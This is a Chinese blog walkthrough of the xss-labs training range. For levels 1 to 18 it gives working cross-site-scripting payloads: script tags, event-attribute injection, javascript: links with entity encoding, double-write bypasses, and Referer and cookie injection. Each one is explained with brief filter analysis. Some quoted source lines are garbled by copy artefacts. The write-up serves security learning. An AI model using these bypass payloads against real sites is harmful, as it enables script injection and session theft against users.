xss-labs通关技巧

第一关

标签注入

<script>alert(1)</script>

没有任何防护措施

第二关

我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签

"><script>alert(1)</script>

法二: 闭合value属性,然后在input标签内加入事件属性

" οnclick="alert(1)

查看源码:
在h2标签中有.htmlspecialchars( s t r ) , 所 以 在 该 地 方 虽 然 有 回 显 我 们 的 恶 意 代 码 , 但 是 不 能 x s s 注 入 而 在 i n p u t 标 签 中 : < i n p u t n a m e = k e y w o r d v a l u e = " ′ . str),所以在该地方虽然有回显我们的恶意代码,但是不能xss注入 而在input标签中:<input name=keyword value="'. str)xssinput<inputname=keywordvalue=".str.'">
对输入的变量没有任何过滤,导致了xss的发生

第三关

' onclick='alert(1)

输入script,"<“会被转换为html编码,所以这一关无法采用标签,因为标签都是带有”<"的,因此采用事件,需要闭合标签的属性:
可以通过查看网页的html页面,确定闭合方式,以及是否闭合
查看源码:

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
<input name=keyword  value='".htmlspecialchars($str)."'>

所有的地方都被htmlspecialchars函数过滤了
htmlspecialchars 函数把一些预定义的字符转换为 HTML 实体(就是变量变成字符串不能用了)
该函数可以过滤“<”“>”““ ”,但是不会过滤单引号
而且value的闭合也是采用单引号,所以会有xss漏洞

第四关

代码审计: s t r 2 = s t r r e p l a c e ( " > " , " " , str2=str_replace(">","", str2=strreplace(">","",str);
用双写绕过吗?
试了一下发现不行,那就用利用事件属性(没有尖括号的payload)

" οnclick="alert(1)

第五关

<script>alert('test')</script>会被替换为<scr_ipt>alert('test')</script>
试了大小写也不行
on也被过滤了
那就用没有script的payload

"><a href="javascript:alert(1)"            #点击图片就会触发        或者
"><a href=javascript:alert('hack') > hack</a>

闭合前后标签属性效果如下图
在这里插入图片描述
原理:
标签用于定义超链接,用于重一个页面链接到宁一个页面。元素最重要的属性就是href属性,用于指定链接的目标,而且该标签还可以用于执行JavaScript语句。
代码审计发现:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

先对字符串转小写,再用字符串匹配对关键字进行替换,所以大小写绕过才会没用

第六关

先用<script>标签测试发现被替换成<scr_ipt>
"><a href=javascript:alert('hack') > hack</a>发现href也用不了
在这里插入图片描述

on也过滤了,过滤的东西挺多的,看源码发现

在这里插入图片描述
但是过滤了这么多东西,居然没有做大写转小写

"> <Script>alert("hack")</script>

第七关

关键字都被替换成空格,这种一般就用双写绕过

"> <Sscriptcript>alert("hack")</sscriptcript>

第八关

对我们输入语句的关键字script进行添加符号干扰,并转为了小写,而且猜测还对其进行htmlspecialchars()函数
构造语句,因为下面有超链接,现在只需要绕过JavaScript的关键字黑名单
对JavaScript中的某一个或某一部分的编码用html实体形式的ascii码即可,加入仅仅转换r,则大小写形式的html实体都可以,也就是&#82(R)和&#114(r)
HTML实体由三部分组成,”&#+ASCII+;“
payload:

javasc&#82;ipt:alert(1)

如果不行就url编码一下

javasc%26%2382;ipt:alert(1)

第九关

strpos()用于查找指定字符串第一次出现的位置,返回整数型。如果没有找到该字符串,则返回 false。
这里就是判断字符"http://"是否在字符串中出现,如果没出现就判定非法链接
这里用上一题的payload再加一个http://将其注释掉就可

javasc&#82;ipt:alert(1)//http://

第十关

第十关开始没有搜索框注入也没有超连接了
看源代码发现
在这里插入图片描述
接收了两个参数,其中对第二个参数t_sort没有进行实体化
但是进行了小的过滤
如何通过这个传参呢?–拼接
这个时候转换思路,我们改变其type,使其显露出来,再用onclick来触发。点击一下即可触发事件

?keyword=1&t_sort=" type="text" οnclick="alert('xss')

第十一关

进入到本页面查看其前端源码,发现又多了一个参数,先不管它是什么,首先想一下我们能不能利用这个参数xss呢
打开源码一看
这个参数是referer字段
可以构造语句用hackbar 将参数传入
payload:

" type="text" οnclick="alert('xss')

在这里插入图片描述

第十二关

像这种页面除了一个图片啥也没有的题,要么就扫一下有没有后门,要么就好好看一下前端源码
发现是
在这里插入图片描述
payload和上一题一样
在这里插入图片描述

第十三关

一样是用hackerbar,把值传到cooik里,payoload和上题一样

第十四关

很怪,这一关,没有注入点,整个页面是一个静态页面

第十五关

查看前端源码发现新参数ng-include
ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页

?src='level1.php?name=<img src=1 onerror=alert(111)>'

第十六关

尖括号没变,/和script还有空格被ban掉了
前面sql注入绕过空格的知识用上
尖括号没被ban掉就用标签替代
构造payload为:

<a%0dhref='javas%0acript:alert("hack")'>xss

第十七关

在这里插入图片描述发现其两个变量使用=符号拼接的形式被加入到标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口
常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。
所以我们在b的后边加入onclick(点击后触发)或则onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用
构造payload

http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=b onmouseover=alert('hack')

第十八关

我怎么觉得十八关和十七关是一样的…
注:第17、18关都可以通过flash xss注入

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值